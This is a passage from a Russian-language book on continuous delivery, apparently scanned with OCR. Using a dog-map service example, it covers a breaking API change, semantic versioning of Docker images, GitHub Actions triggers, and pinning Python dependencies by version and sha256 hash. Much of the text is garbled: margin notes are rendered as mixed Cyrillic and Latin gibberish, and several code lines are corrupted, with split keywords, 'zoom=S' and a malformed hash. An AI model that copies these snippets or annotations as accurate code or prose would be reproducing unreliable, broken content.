в результате чего получился такой интерфейс: 

def searc h ( self,  lat ,  long, zoom , pa rk_types ,  pack_leader_only ) : 

'---_ К.аждf:11й раз, когда мявлялся заn.рос на новую функ -
41...ю, в MtW\oд мцска добавлялся новf:11u n.apaмeW\p 
ц MtW\Oд СW\ановцлся все длцннее! 

Команда понимает, что если так будет продолжаться, то новые параметры будут до
бавляться бесконечно, и решает использовать язык запросов, чтобы произвольно 
добавлять новые атрибуты для запросов по мере необходимости. С этим нововве
дением метод search  теперь выглядит совсем иначе: 

def searc h ( self,  query ) : "- Вся цнформа4ця, КОW\орая ран/:11.ме находцлас/:1 в шесW\ц 
разлцчнf:11Х n.apaMtW\pax, W\tn.epf:1 содержцW\СЯ в одной 
СW\роке заn.роса. 

Чтобы использовать этот обновленный интерфейс, команде фронтенд-сервиса не
обходимо полностью изменить способ вызова метода search .  Например, в перво
начальном интерфейсе поиск парков с площадками для выгула и дрессировки собак 
в центре Ванкувера, Британская Колумбия, осуществлялся следующим образом: 

maps . searc h ( 49 . 2827,  - 123 . 1207 , 8 ,  [ Pa rkTypes . t raining . name ] ,  F a l s e )  

Чтобы сделать тот же запрос с помощью нового интерфейса, нужно преобразовать 
предыдущие параметры в такой запрос: 

maps . searc h (  
" lat=49 . 2827 && long= - 123 . 1207 && zoom=S && type in  [ { } ] " . format ( 

Pa rkTypes . training . name ) )  

Это довольно значительное изменение, и к сожалению, как вы сейчас увидите, оно 
попало в релиз до того, как команда сервиса поиска по карте предупредила об этом 
команду фронтенд-сервиса. 
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Когда сборки вызывают баги 
Команда сервиса поиска по карте внесла крупное 
изменение в самый важный метод, который раз
работчики предоставляют через свой сервис, -
метод s e a r c h  и забыла предупредить об этом 
команду фронтенда! Сервис поиска по карте ис
пользуется фронтенд-сервисом. Команда фрон
тенда отвечает за развертывания не только своего 
сервиса, но и сервисов, от которых он зависит: 
сервиса поиска по карте и сервиса пользователь
ских аккаунтов. 

Сервис 
поиска 

����-1 _..../'7� 
Фронтенд

сервис 

Сервис поль
зовательских 

аккаунтов 

Отличается ли 
непрерывный релиз 
от непрерывного 
развертывания ?  

В главе 1 ,  давая определе
ние непрерывного развер
тывания, я отмечала, что 
более точный термин -
непрерывнь1й релиз. Имен
но этим Мигель и зани
мается, то есть выпускает 
релизы для пользователей 
с каждым изменением. 
Поскольку фактического 
развертывания не про
исходит, будет меньше 
путаницы, если называть 
эту процедуру непрерыв
ным релизом. 

Команда фронтенда обычно раз в неделю развертывает новые версии сервиса поис
ка по карте и сервиса пользовательских аккаунтов. Конфигурация GitHub Actions, 
которую установил Мигель, настроена на сборку новой версии образа контейнера 
сервиса поиска при каждом обновлении главной ветки: 

name : Build  Мар Search  Service 
on : 

push : 
branches : 

Задача оудеw. Заl'\ускаw.ься 1'\ри OW. -
[ ma i� V1рабке изменений б zлабную беw.ку, 

w.o ecw.11 V1ри каждом слиянии PR. 

Команда сервиса поиска по карте действительно планирует сообщить команде 
фронтенда об этом изменении ,  но  не все в команде полностью представляют 
последствия изменений Мигеля . Они не осознают, что фактически занимаются 
непрерывным релизом, то есть выпуском релизов при каждом изменении.  И к со
жалению, они не знают, что команда фронтенда, по случайному стечению обстоя-
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тельств, планирует обновить развертывание сервиса поиска вскоре после слияния 
нового интерфейса: 

Произведено слияние обновленного 
метода поиска. 
Новый образ поиска по карте создан 
с помощью GitHub Actions. 

Команда фронтенда обновляет раз
вертывание сервиса поиска по карте . ...._..... 

Команда фронW1енда 
мдW1яzu6atW1 мследний 
образ конW1еuнера мис 
ка 1'\О кapWlt, не 1'\онимая, 
ЧWIO он coдtpЖUWI новый 
uнvv.epфeuc! 

Эта злополучная последовательность событий приводит к тому, что в выпущенном 
рабочем продукте фронтенд-сервис пытается вызвать старый интерфейс поиска, но 
текущая версия сервиса поиска по карте его уже не поддерживает. Что и приводит 
к масштабному сбою! 

Сборки и коммуникация 
Сбой стал настоящим стрессом как для команды фронтенда, так и для команды 
сервиса поиска. После того как команда фронтенда выяснила, что произошло, и обе 
команды начали устранять неполадки, между ними по понятным причинам сохраня
лось некоторое напряжение. Команда фронтенда дежурила в момент сбоя и отнюдь 
не воодушевилась, узнав, что причиной сбоя стали изменения в сервисе поиска по 
карте, о которых ее никто не предупредил.  

К счастью, понимая чувства разработчиков фронтенда, Мигель не унывает 
и с радостью готов помочь. Он обсуждает произошедшее с Дани из фронтенд
команды: 

Раньше. ДЖ!:j/\IАЯ сnраrмц6ала !:1 нас, nре.жде. 
че.м диаwФ ре.лю, но ме.nерь 6111 6ь1n!:jСКае.ме. рtлцз 

l'\OC/\t каждоzо KOMMIAW\a - /А l'\OCMOW1p1AW1t, ЧW\О 
6ь1щло1 Эмо C/\IAIМKOM оnасно; я O!:jMaIO, вам 

CW\OIAW\ nрцморМО3/АW\Ь. 
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Мигель и Дани вместе выясняют, что именно пошло не так, прежде чем решать, как 
выйти из положения. Они определяют три основные проблемы текущего процесса 
разработки сервиса поиска по карте: 

• Невозможно различить релизы сервиса. 

• Команда фронтенда не может контролировать, какой релиз используется. 

• Отсутствуют автоматические уведомления о том, какие изменения произошли 
между релизами. 

Эти три проблемы можно свести к одной основной: команда сервиса поиска по карте 
вообще не контролирует версии своих релизов! Возможно, вы уже заметили это, гля
дя на описанный Джулией процесс сборки и на скрипт сборки, созданный Мигелем: 

# ! / u s r / bin/env s h  
s e t  - х е  

cd  " $ ( d i rname "$0 " ) "  
kаждt71й релиз создаеW\ и бt71 -
кладt71баеW1 образ с абсолюW1но 
одинакобt71м именем. 

docker build - -tag top- dog -maps/map- search 

docker push top- dog-maps/map- search 
. ..____ 

Каждый релиз перезаписывает предыдущий!  Это означает, что всегда доступна 
только одна версия сервиса поиска по карте (последняя) ,  что приводит к трем про
блемам, указанным Мигелем и Дани .  

Семантическое версион ирование 
Чтобы избежать сбоев и недоразумений в будущем, команда сервиса поиска должна 
предоставить команде фронтенда возможность контролировать, какая версия сер
виса используется, а также информировать ее о различиях между версиями. 

Команда сервиса поиска как минимум должна создавать более одной версии сервиса. 
В процессе выпуска релизов нельзя просто перезаписывать предыдущую версию; нужно 
создавать новую версию и обеспечить возможность использования предыдущей. 

Часто для управления версиями ПО используется семантическое версионирование. 
В рамках этого подхода определяется способ присвоения версий программе таким об
разом, чтобы сообщать об изменениях между версиями на высоком уровне. Семантиче
ское версионирование использует строку версии, 
состоящую из трех чисел, разделенных точками: 
МAJOR, MINOR и РАТСН: МAJOR . MINOR . РАТСН. 
• Приращение (увеличение) основного номера 

версии (MAJOR) происходит при внесении 
изменений, несовместимых с предыдущими 
версиями. 

• Второстепенный (минорный) номер версии 
(MINOR) обновляется при добавлении новых 
обратно совместимых функций. 

Семантическое версио
нирование позволяет при 
необходимости включать 
в версию еще больше меток 
и метаданных; см. специ -
фикацию семантического 
версионирования на сайте 
https:// semver.org/ . 
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• Номер патча (РА ТСН) изменяется при добавлении обратно совместимых исправ
лений имеющихся функций. � 2.f0 . 1� 

Основная версия (.2) МинорньtiА номер версии (30) Номер У\аW\ча 1. 
включаеW\ юменения, указываеW\ на W\O, ЧW\О указываеW\, ЧW\о 
КОW\ОрЫе были oбpaWIHO С MOMeHW\a вЫУ\!jСКа С MOMeHW\a вЫУ\!jСКа 
несовмесW\иМЫ с f'v1AJOR-вepcии .2 было версии .2..30.О один или 
версиеiА 1.. повь1щение добавлено 30 релюов несколько баzов были 
ЭW\OZO значения до 3 С дОl'\ОЛНиW\еЛЬНЫМи обраW\НО иСУ\равлеНЫ и вы ... ущена 
будеW\ ОЗНаЧаW\Ь, ЧW\О совМеСW\иМЫМи функциями. версия ,2..30.1.. Увеличе -
добавлено еще больще Увеличение эW\ozo значения до ние эW\ozo значения 
обраW\НО несовмесW\и - 31. будеW\ означаW\Ь, ЧW\О было 
мых изменениiА. добавлено еще больще обраW1 -

н о  совмесW1имых изменениiА. 

до .2 будеW\ ОЗНаЧаW\Ь, 
ЧW\о были ис ... равлены 
до ... олниW1ельные баzи. 

О словарик 
Обратно совместимые (backward-compatiЬle) изменения (то есть изменения, со
вместимые с предыдущими версиями) - это изменения, которые пользователь 
может использовать без необходимости производить обновление. Обратно несо
вместимые (backward-incompatiЬle) изменения, напротив, такие, когда пользовате
лю необходимо внести изменения в способ использования, иначе возникает риск 
багов и сбоев в работе. Изменение сигнатуры метода поиска было изменением, 
несовместимым с предыдущими версиями. Это изменение могло быть обратно со
вместимым, если бы команда добавила новый метод вместо изменения существу
ющей сигнатуры. Сокращение обратно несовместимых изменений до минимума 
облегчает работу пользователей продукта, насколько это возможно. 

Важность версионирования 
Чтобы перейти на семантическое версионирование, команде сервиса поиска необхо
димо перестать записывать новые версии поверх предыдущего релиза, начав присва
ивать каждому релизу уникальный семантический номер версии. Мигель обновляет 
строки build и push в файле build.sh, и теперь они выглядят следующим образом: 

docker 
docker 

. СкриУ\W\ сборки WieY1epь 
bulld  - - t ag top - dog -maps/map - search : $VERSION ммечаеW� собранныiА образ 
push  top- dog -maps/map- search : $VERSION � "'---- семанW�uческим номером 

версии, задаваемым с У\0 -
мощью У1еременноiА среды 
$VERSION. Книги для программистов: https://t.me/booksforits
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Это изменение позволило команде сервиса поиска избавиться от проблем, выяв
ленных Мигелем и Дани: 

• Раньше релизы сервиса нельзя было различить, но теперь каждый релиз получит 
свой уникальный семантический номер версии.  

• Вместо того чтобы контролировать, какой релиз используется, команда фрон
тенда может явно указать нужный номер версии для развертывания. 

• Семантический номер версии теперь будет содержать высокоуровневую инфор
мацию о том, какие изменения вносились между версиями. По тому, был ли из
менен основной или второстепенный номер или номер патча, команда фронтенда 
узнает, является ли новый релиз просто исправлением багов (увеличение номера 
патча), содержит ли он новые функции (изменение минорного номера версии) 
или содержит несовместимые с прошлым релизом изменения (приращение ос
новного номера версии) .  

'-�� ВАЖНО 
Использование четкой, последовательной схемы управления версиями, та
кой как семантическое версионирование, дает пользователям необходимую 
информацию и возможность контролировать процесс, тем самым уменьшая 
негативное восприятие внесенных изменений. 

Примечания к релизу необходимы даже при семантическом 
версионировании 

Семантический номер версии на высоком уровне указывает, каких изменений 
ожидать, но пользователю, скорее всего, потребуется больше информации (то 
есть что именно изменилось: какие баги исправлены, какие новые возможно
сти добавлены, какие изменения, несовместимые с предыдущими версиями, 
сделаны) .  Именно здесь на помощь приходят примечания к релизу. 

Они прилагаются к релизу и содержат подробный список всех изменений, 
о которых необходимо знать пользователям. Это особенно важно, поскольку 
даже если основной номер версии не увеличился, в ней все равно могут ока
заться изменения, несовместимые с предыдущей версией. Иногда это просто 
ошибка, но часто так происходит потому, что очень трудно предсказать, как 
некоторые изменения повлияют на пользователей (закон Хайрама (Hyrum 
Wright) гласит: «Все наблюдаемое поведение системы в конечном итоге зависит 
от пользователей», https://www. hyrumslaw.com/) .  Создание примечаний к рели
зу можно автоматизировать на основе комментариев к коммитам и описаний 
PR, но здесь я не буду вдаваться в подробности. 
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Анализируя обновления скрипта сборки, сделанные Мигелем, вы можете за
даться вопросом, откуда на самом деле будет браться значение $VERSION: 
# ! / us r /bin/env sh  
set - хе 

cd " $ ( di rname "$0 " ) "  

docker  build  - - tag top - dog -maps/ma p - search : $VERSION 
docker  push  top- dog - maps/ma p - search : $VE RSION 

Часто версию получают из тега Git, который содержит семантическую версию. 
Этот подход позволяет настроить автоматизацию так, чтобы она запускалась 
при добавлении тега. Например, при использовании GitHub Actions синтаксис 
запуска может быть следующим: 
о п : 

push : 
tags : 

- ' * '  

Задача бyдtWI за..,ускаW11:1ся "'Pt.t добабленцц 
� люб1:11х ноб1:11х Wltгoб б ремзцW1орцu. 

А внутри шагов значение тега, инициировавшего отправку, можно получить из 
того, что в GitHub Actions называется контекстом: например, при инициировании 
с помощью тега v0 . 0 . 1  значение ${ { gi thub . ref } } будет refs/tags/v0 . 0 . 1 . (Под
робнее см. документацию по GitHub Actions на https://docs.github.com/ru/actions.) 

Однако если Мигель воспользуется этим подходом, он перестанет выпускать 
релизы непрерывно; он будет выпускать их только тогда, когда тег будет добав
ляться в репозиторий. Один из способов, позволяющих одновременно выпускать 
релизы непрерывно и использовать семантическое версионирование, - хранить 
номер текущей версии в файле в репозитории и требовать, чтобы каждый ком
мит с изменением кода увеличивал значение номера. Это означает обновление 
nайплайна сборки таким образом, чтобы он сначала анализировал номер версии 
из файла в репозитории, а затем передавал это значение скрипту сборки: 

Парсим версию 

из файла 

Создаем образ контейнера 

с номером версии 

Мигель, скорее всего, захочет немного усложнить пайплайн. Иногда указать 
номер версии забывают, и в таких случаях пайплайн должен выдать ошибку. 
Кроме того, если изменений, ориентированных на конечного пользователя, не 
происходит (например, если изменения касаются только юнит-теста или доку
мента разработчика) , новую версию создавать не следует. Это будет выrлядеть 
примерно так: 

Если код, 
ориентированный 

на конечного � 
пользователя, 

изменился 

Пайnлайн  завершается 
с ошибкой, если  номер 
версии  не изменился 

Парсим версию 
из файла 

,r --
Создаем образ 

� контейнера 
с номером версии  
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Очередной сбой! 
Сразу после того, как Мигель и Дани с большим тру
дом устранили источник  напряженности между 
командами, предоставив фронтенд-команде контроль 
над тем, когда и как использовать обновления, по-
ступающие от команды сервиса поиска, произошел 
очередной сбой. 

В результате анализа этого сбоя обнаружился баг 
в сервисе поиска по карте. К счастью, этот сервис 
версионирован, и команда фронтенда может быстро 
откатиться к предыдущей рабочей версии .  Разра
ботчики фронтенда сообщают о проблеме команде 
сервиса поиска и оставляют их разбираться с источ
ником проблемы. (К счастью, поскольку фронтенд
команда решила проблему быстро и легко, отноше
ния между командами не пострадали ! )  

Мигель помогает с отладкой неисправности 
и с удивлением обнаруживает, что проблема заклю-

Подробнее об откатах 
(и других методах безо
пасного развертывания) 
вы узнаете в главе 1 О .  

О Словарик 
Стороннее программное 
обеспечение - это ПО, 
созданное за предела-
ми компании, напри
мер другой компанией 
или в рамках проекта 
с открытым исходным 
кодом. 

чается в изменении сторонней библиотеки (querytosql) ,  от которой зависит работа 
сервиса поиска по карте, связанная с выполнением поисковых SQL-запросов. 

Сервис поиска 
по карте 

� �  
___....., 

Сер6и.с V\Ои.ска V\O карW1е и.сV\ОльзуеWI 
би.бли.0W1еку qu.erytosql для 6ь1V1олнения 
заV1росо6 к базе данных кэщи.ро6аннь1х кapWI. 

Библиотека изменила интерфейс одного из своих методов на первый взгляд безобид
ным образом, но к сожалению, этого оказалось достаточно, чтобы сервис поиска по 
карте перестал работать. Функция, вызываемая в рамках поискового функционала, 
в библиотеке querytosql раньше выглядела так: 

def execut e ( query,  d b_host , db_u sername , db_password , db_name ) :  

В последней версии авторы querytosql поняли, что они могут упростить сигнатуру 
функции, создав объект для хранения всей информации о подключении к БД, и об
новили сигнатуру: 

....---- Эw.ow. V\apaмew.p w.eV1epь содержи.w. xocw. БА, 
def execute ( query,  db_conn ) : имя V\ОЛuзобаw.еля, V\apoлtJ и и.мя бД. 
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Новый код теперь намного чище, но к сожалению, это изменение несовместимо 
с предыдущими версиями, поэтому функция e x e c u t e  в сервисе поиска по карте 
теперь не работает! Команде необходимо обновить каждый экземпляр приложения, 
где вызывалась эта функция, чтобы использовать новый интерфейс и обеспечить 
совместимость с этими изменениями. 

Ош ибки в зависимостях во время сборки 
Мигель оценил иронию ситуации, заключающуюся в том, что сервис поиска столк
нулся почти с той же проблемой, какую его команда недавно создала для фронтенд
сервиса, когда обновила сигнатуру своего метода поиска! Но он озадачен: почему ее 
не обнаружили тесты, выполняемые в рамках СП 

Из главы 7 вы, возможно, помните, что баги могут проникать в систему в не
скольких местах, и одно из них - это этап сборки, если на нем происходят измене
ния зависимостей: 

• Осуществляем сборку рабочего арте+ факта с соответствующим коммитом. 

'-----. 
Забисимосwщ : 60 бремя сборки рабочих ар 
w.ефакw.06 мozyw. бl:71w.1:7 мдw.януw.1:71 забиси -
МОСW.и, 6лекущие За собой доl'\ОЛНиW.tл1:7Н1:7/е 
изменения, коw.ор"1х не бl:71ло 60 бремя С/, 
чw.о чребаw.о мяблением но61:71х ощибок. 

Оказывается, именно это и произошло с сервисом поиска по карте: 

Открыт PR (добавлено обратно совместимое изменение) . 

На основе PR запущена CI (включая тесты и линтинr), которая 
подтянула версию 1 .3 .2  библиотеки querytosql. 

Тесты и линтинr, включенные в CI, успешно пройдены. 

После проверки произведено слияние PR. 

по неберояw.ному 
сw.ечению обсw.оя 
w.ел1:7сw.6 новая 
версия qиerytosq/ бl:71ла • 61:711'\ущена в 1'\роме -

Команда quertytosql выпустила новую версию своеи библиоте- д жуw.ке меж у заl'\у -
ки 1 .4.О с обновленной функцией execute .  ...___ ском w.ecw.o6 и сбор-
После слияния P R  было запущено действие сборки, которое 
создало новый образ сервиса поиска по карте с использовани
ем querytosql версии 1 .4.0.  

кой нобоzо образа. 

В главе 7 команда, столкнувшаяся с аналогичной проблемой, обошла ее, внедрив 
периодические сборки для отслеживания изменений в зависимостях. Но даже при 
периодических сборках остается промежуток времени,  когда в систему могут за-
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красться изменения зависимостей (то есть между периодической сборкой и рели
зом) .  Чтобы снизить риск, можно использовать периодическую сборку для создания 
артефактов релиза, лучший способ гарантировать, что изменения в зависимостях не 
возникнут, - это явно привязать продукт к определенным версиям зависимостей. 

Это изменение было обратно несовместимым - почему команда 
qиerytosql не изменила основной номер версии ?  

Правильно подмечено!  В действительности разработчики проектов совершенно 
по-разному следуют правилам семантического версионирования и трактуют 
их. К сожалению, довольно часто при добавлении таких изменений основ
ной номер версии не повышают. Это еще одна причина, по которой стоит 
осуществлять явную привязку зависимостей, чтобы контролировать время 
получения обновлений и следить за появлением изменений, несовместимых 
с предыдущими версиями. 

П ривязка зависимостей 
Лучший способ свести к минимуму количество багов и прочее непредсказуемое 
поведение, вызванное изменениями в зависимостях, - использовать тот же под
ход, который Мигель и Дани разработали для команды фронтенда. Точно так же 
как команда фронтенда сейчас однозначно полагается на конкретную версию 
сервиса поиска по карте, сервису необходимо явно указать версии зависимостей, 
на которые он опирается. Вот содержимое файла requirements. txt для сервиса по
иска по карте: 

beautifulsoup4 
pytest  > 6 . 0 . 0  
querytosql  

Ни одно из  W1ребобаниiА окружения не  v-.рибязано к конкреW1ноiА 
Версии; наиболее кoppeKWIHO оv-.исан pytest, коW1орь1iА должен быW1ь 
не ниже версии �.о.о, НО доv-.ускаеW\СЯ любая Версия быще ЭW\OU. 

Поскольку для библиотеки querytosql не определены требования окружения, подхо
дит любой номер версии. Поэтому когда выполнялась последняя сборка для образа 
контейнера поиска по карте, была просто подтянута последняя версия. Как только 
Мигель понял, что произошло, он быстро обновил файл requirements.txt, явно указав 
в нем номера версий, к которым следует проводить привязку: 

beautifulsoup4 = =  4 . 10 . 0  
pytest = =  6 . 2 . 5  
querytosql  = =  1 . 3 . 2  

...____.... 

Миzель v-.рибязыбаеW\ W1ребобание к ранее 6ыv-.ущенноiА версии 
qиerytosql, с кoW1opoiA, как он знаеW1, совмесW\иМ код сервиса 
миска м карW1е. Таким образом, команда сервиса можеWI 
смкоiАно обно6ляW1ь qиerytosql до мследнеiА Версии, v-.ри ЭW\ОМ 
безоv-.асно создавая новые версии образа своего серби.са . 
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Теперь команда сервиса поиска контролирует использование обновлений для необ
ходимых библиотек и осуществляет сборку безопасно, не беспокоясь о неожиданных 
изменениях в функциональности из-за изменений в зависимостях. 

А что, если я использую Pipfile вместо reqиireтeпts. txt? Или вообще не 
использую Pythoп ? 

Независимо от языков или инструментов, привязка зависимостей к опреде
ленной версии - самый безопасный вариант. Рiр-файлы также поддерживают 
синтаксис для указания версий зависимостей, и то же самое справедливо для 
большинства языков и инструментов. Если язык или инструмент не дает такой 
возможности, считайте это его минусом и найдите альтернативу (или создайте 
свой собственный инструмент) .  

Зачем делать привязку к версии патча? Разве не следует подтягивать 

исправления богов автоматически? 

Вместо привязки к конкретной версии для некоторых инструментов и языков 
можно указать диапазон версий. Например, в файле requirements.txt можно 
задать querytosql = =  1 .3 .* ,  чтобы указать, что разрешены любые релизы патчей 
версии 1 .3 .  Однако не все инструменты и языки поддерживают подобный син
таксис. Даже исправления баrов - это изменения в функциональности (еще 
один пример действия закона Хайрама! ) .  Контроль за использованием измене
ний делает созданные артефакты более предсказуемыми. 
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П ривязка к версии не панацея 
Оказывается, в большинстве языков и инструментов привязка к определенной вер
сии еще не является гарантией того, что в используемой библиотеке не произойдет 
изменений между двумя моментами времени. Это может показаться невероятным, 
но причина в том, что обычно существует возможность перезаписать предыдущую 
версию библиотеки, образа и т. д. совершенно новой, имеющей тот же номер. Дело 
в том, что версии обычно рассматриваются как теги, и ничто не мешает изменить 
сущность, на которую указывает этот тег. Например, возможно, что в какой-то мо
мент команда querytosql решит перезаписать свою версию 1 .3 .2 новой : 

Сегодня 
v:l. .3 .2 

( 
querytosql 
собрана из 

коммита Git 
abcdl 234 

querytosql 
собрана из 
коммита Git 

abcdl 234 

3o.6V\l\po. 
v:l. . 3 . 2  

) 
querytosql 

собрана из 
коммита Git 

efgh5678 

Подобная перезапись уже выпущенных версий - плохая практика, поскольку она 
сводит на нет весь смысл использования номера версии (то есть предоставления 
потребителям контроля и информации об изменениях) , но время от времени такое 
случается (обычно когда кто-то с благими намерениями хочет выпустить релиз 
с исправлением как можно быстрее и проще, пока никто не успел воспользоваться 
версией, содержащей баг) . 

Но не все потеряно!  Можно сделать привязку зависимостей с еще большим 
контролем, чем просто указание номера версии, дополнительно указав ожидае
мый хеш содержимоrо пакета. Это позволит избежать случайного использования 
изменений,  к которым вы не готовы, - если содержимое зависимости изменится, 
то изменится и хеш. 

О Словарик 
Термин «хеш» здесь - сокращенное обозначение результата криптографической 
функции хеширования, применяемой к данным. В контексте сборок и зависи
мостей мы говорим о применении хеш-функции к содержимому программного 
артефакта. Суть в том, что полученный хеш (то есть результат применения 
функции хеширования к артефакту) всегда будет одним и тем же, поэтому если 
содержимое артефакта изменится, то изменится и хеш. Примерами функций 
хеширования являются mdS и различные версии sha, например sha256. 
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Мигель должен удостовериться, что образ сервиса поиска по карте, создаваемый 
командой, надежен и что ни одна из его зависимостей внезапно не изменится, 
поэтому он делает еще одно обновление в файле requirements.txt, включая в файл 
ожидаемые хеши зависимостей: 

beautifulsoup4 == 4 . 10 . 0  \ 
- - ha s h=sha256 : 9a315ce70049920ea4572a4055bc4bd700c940521d36fc858205ad4fcde149bf 

pytest  == 6 . 2 . 5  \ 
- - hash=sha256 : 73 10f8d27bc79ced999e760ca 304d69f6ba6c6649c0b60fb0e04a4a77caccl34 

querytosql  == 1 . 3 . 2  \ 
- - ha sh=sha256 : abcd1234abcd1234abcd1234abcdl234abcdl234abcdl234abcdl234abcdl234 \ при. U.СV\ОЛ/:1Зовани.и. фа!Ала requ.irew.el'\ts.txt указание - -1-ias/.i для ЛЮО/:1/Х за -

ви.си.мосw.еiА авw.омаw.и.чески. w.peoyew. 1'\редосw.авлени.я хешеiА для всех за -
ви.си.мосw.еiА, включая зави.си.мосw.и. зави.си.мосw.еiА, V\OЭW.OM!:j Ми.zел/:1 должен 
дооави.w.1:1 и. эw.и. хеши.. Но эw.о cw.ou.w. заw.раченн1:11х уси.ли.iА и. zapaнw.u.pyew. 
w.акже защи.w.у ow. изменения в зави.си.мосw.ях зави.си.мосw.еiА 1 

Осуществляя привязку к хешу пакета, команда использует однозначные идентифика
торы, которые нельзя использовать для идентификации более чем одного объекта. 
Версии и теги неоднозначны, поскольку их можно неоднократно использовать или 
изменять так, чтобы они указывали на другие данные. 

Использование однозначных идент ификаторов в других языках 
и инструментах 

Разумно ожидать, что любой применяемый язык или инструмент также будет 
поддерживать указание ожидаемых хешей используемых артефактов. На самом 
деле одним из главных преимуществ использования образов контейнеров явля
ется то, что содержимое автоматически хешируется и хеши можно использовать 
при извлечении и запуске образов. 

'-Ф� ВАЖНО 
Для полной уверенности в том, что зависимости (и зависимости зависимостей) 
не изменятся без вашего ведома и не станут источником багов или нежелатель
ных изменений в поведении продукта, явно привязывайте их не только к кон
кретным версиям, но и к хешам конкретных версий, которые вы собираетесь 
использовать. 
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� Монорепозитории и привязка версий 
Причиной возникновения проблемы между сервисом поиска по карте и библио
текой querytosql стал тот факт, что код сервиса и код для библиотеки хранились 
в разных репозиториях: 

Репозиторий 
сервиса поиска 

по карте 

Во время сборки сервис V\Оиска 
V\O кapWle V\ОдW1яzиваеW1 исход 
ноtu код и3 реV\03иW1ория библио 
Wlеки qиer!:Jtosql. 

Бибnиотека 
querytosql 

Это стало проблемой, поскольку при таком подходе образ сервиса поиска по 
карте собирается с тем, что на данный момент имеется в репозитории querytosql. 
Команда сервиса решила эту проблему путем извлечения кода одного и того же 
коммита с определенным тегом из репозитория библиотеки querytosql: 

Репозиторий 
сервиса поиска 

по карте 

Если сделаW\/J V\ривя3К!:J к версии 1..3.2, 
W\O во вреМЯ сборки и3 реV\03иW1ория 
библиоWlеки qиer!:Jtosql всегда б!:jдeWI 
бpaWl/JCЯ один и W\OW\ же код. 

Библиотека 
querytosql 

Друтой подход заключается в том, чтобы вообще не извлекать этот код во время 
сборки, скопировав его изначально в репозиторий сервиса поиска по карте: 

Реnозиторий 
сервиса поиска 

по карте 

К.од и3 библиоW1еки qиer!:Jtosql должен 
коV\ироваW\ося в peV\03иW1opиu сервиса 
V\Оиска , и именно эW\OWI код б!:JдeWI 
иСV\ОЛ/J3оваW\/JСЯ во время сборки. 

Библиотека 
querytosq l  

Данный подход гарантирует, что во время сборки всегда будет использоваться 
одна и та же версия библиотеки querytosql, поскольку в этот момент ничего 
ниоткуда не извлекается . 

Эту идею можно развить еще дальше. В главе 3 кратко упоминалась концеп
ция монорепозитория: одного репозитория, в котором хранится весь исходный 
код не только проекта, но и всей компании. Если бы Тор Dog Maps использовала 
монорепозиторий, весь код сервиса поиска карт, фронтенда и всех зависимостей 
хранился бы и версионировался в одном репозитории. 

Такой подход в некоторых случаях позволяет свести к минимуму необходи
мость явного версионирования, но не может избавить от него полностью и всегда 
(например, фронтенд-сервис фактически полностью зависит от образа сервиса 
поиска по карте, а не от исходного кода, поэтому образ последнего по-прежнему 
нуждается в версионировании). Кроме того, он может добавить сложности (боль
шинство инструментов не предусматривают использования монорепозиториев) ,  
но в то же самое время значительно снизить неопределенность (то есть вы всегда 
будете видеть именно тот исходный код, который используется) и облегчить 
реализацию (например, обширных радикальных изменений по всем проектам).  
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Даже если процесс сборки налажен, нелишним будет регулярно пересматривать 
его и проверять, можно пи что-то улучшить. На ранних этапах проекта такие меры, 
как ручная сборка артефакта, могут быть оправданны, но они не выдерживают 
проверки временем. К счастью, как убедился Мигепь в проекте Тор Dog Maps, ока
залось относительно просто перейти от ручного процесса к автоматизированному 
и значительно повысить надежность сборки. Мигепь также на собственном опыте 
убедился, как важно использовать передовые практики сборки, чтобы облегчить 
взаимодействие с пользователями продукта и защититься от проблем, связанных 
со сторонними инструментами, которые он использует в работе. 

Итоги 
• Безопасными и надежными являются сборки, которые автоматизированы и со

ответствуют требованиям SLSA: применение принципа «сборка как код» (вари
ация принципа «конфигурация как код») ,  запуск на сервисе CD и выполнение 
во временных средах. 

• Управление версиями продукта с помощью последовательной схемы версио
нирования, такой как семантическое версионирование, позволяет эффективно 
предоставлять пользователям контроль и информацию об изменениях от версии 
к версии.  

• Защитите себя от нежелательных изменений в зависимостях, привязывая их не 
только к явным версиям, но и к хешам явных версий, и интегрируйтесь с ними 
без ограничений. 

Далее . . .  
Автоматизированный (и даже непрерывный) выпуск репизов - это здорово, но  если 
вы работаете с сервисом, вас наверняка интересует, как осуществить развертывание 
созданных артефактов. В следующей главе мы рассмотрим практики, которые по
зволяют быстро и просто включить этап развертывания в пайппайн CD. 
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В этой rnaвe 

" Метрики DORA для стабильности: частота сбоев при 

изменениях и время восстановления работоспособ

ности сервиса 

" Безопасное развертывание путем реализации страте

гии  отката 

" Применение сине-зеленых и канареечных разверты

ваний для уменьшения влияния неудачных разверты

ваний 

" Как  непрерывное развертывание помогает достичь 

высших (элитных) значений метрик  DOR A 

•••••••••••••••••••••••••••••••••••• • •••••••••••••••••••••• 

Для многих проектов этап развертывания - это момент истины. Если выполнять 
развертывание без автоматизации или недостаточно осторожно, оно может доста
вить массу хлопот. 

В этой главе мы рассмотрим, как максимально исключить человеческий фактор 
из процесса развертывания и как измерить эффективность самого процесса. Также 
мы обсудим другую расшифровку аббревиатуры CD - непрерывное развертывание 
(continuous deployment) - и узнаем, что требуется для его реализации, а также какие 
компромиссы влечет за собой этот подход. 
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Множество проблем с развертыванием 
Plenty of Woofs, еще одна социальная сеть, популярная среди любителей собак, по
могает владельцам собак найти подходящие места для игр своих питомцев. Соба
ководы могут найти других владельцев собак поблизости, отфильтровать питомцев 
по размеру, совместимости и любимым играм, а также общаться и обмениваться 
фотографиями. 

К сожалению, в последние месяцы на сайте Plenty of Woofs регулярно происходят 
сбои, когда основные функции не работают по несколько дней подряд! Сбои воз
никали сразу после развертывания, что заставляло разработчиков судорожно искать 
проблемы и устранять их как можно быстрее. 

Компания небольшая, менее 20 человек, с довольно простой архитектурой сайта, 
включающей монолитный сервис, который выполнял все задачи, опираясь на базу 
данных: 

Веб-сервер  
Plenty of  Woofs --;> 

Такая архитектура привела к тому, что каждый сбой затрагивал всю компанию, 
и сотрудники все время оставались в напряжении. Они начали привыкать зани
маться устранением этих сбоев по выходным, и в компании появились признаки 
выгорания. 

Книги для программистов: https://t.me/booksforits



264 Глава 10. Надежное развертывание 

Метрики DORA для стабильности 
Хотя разработчики Plenty of Woofs постоянно борются со сбоями, они успели вне
дрить несколько полезных методик, включая отслеживание метрик DORA. В главе 8 

мы уже рассматривали метрики DORA; более подробную информацию о них см. на 
сайте https ://www.devops-research .com/research .html . 
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . .  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . ' 

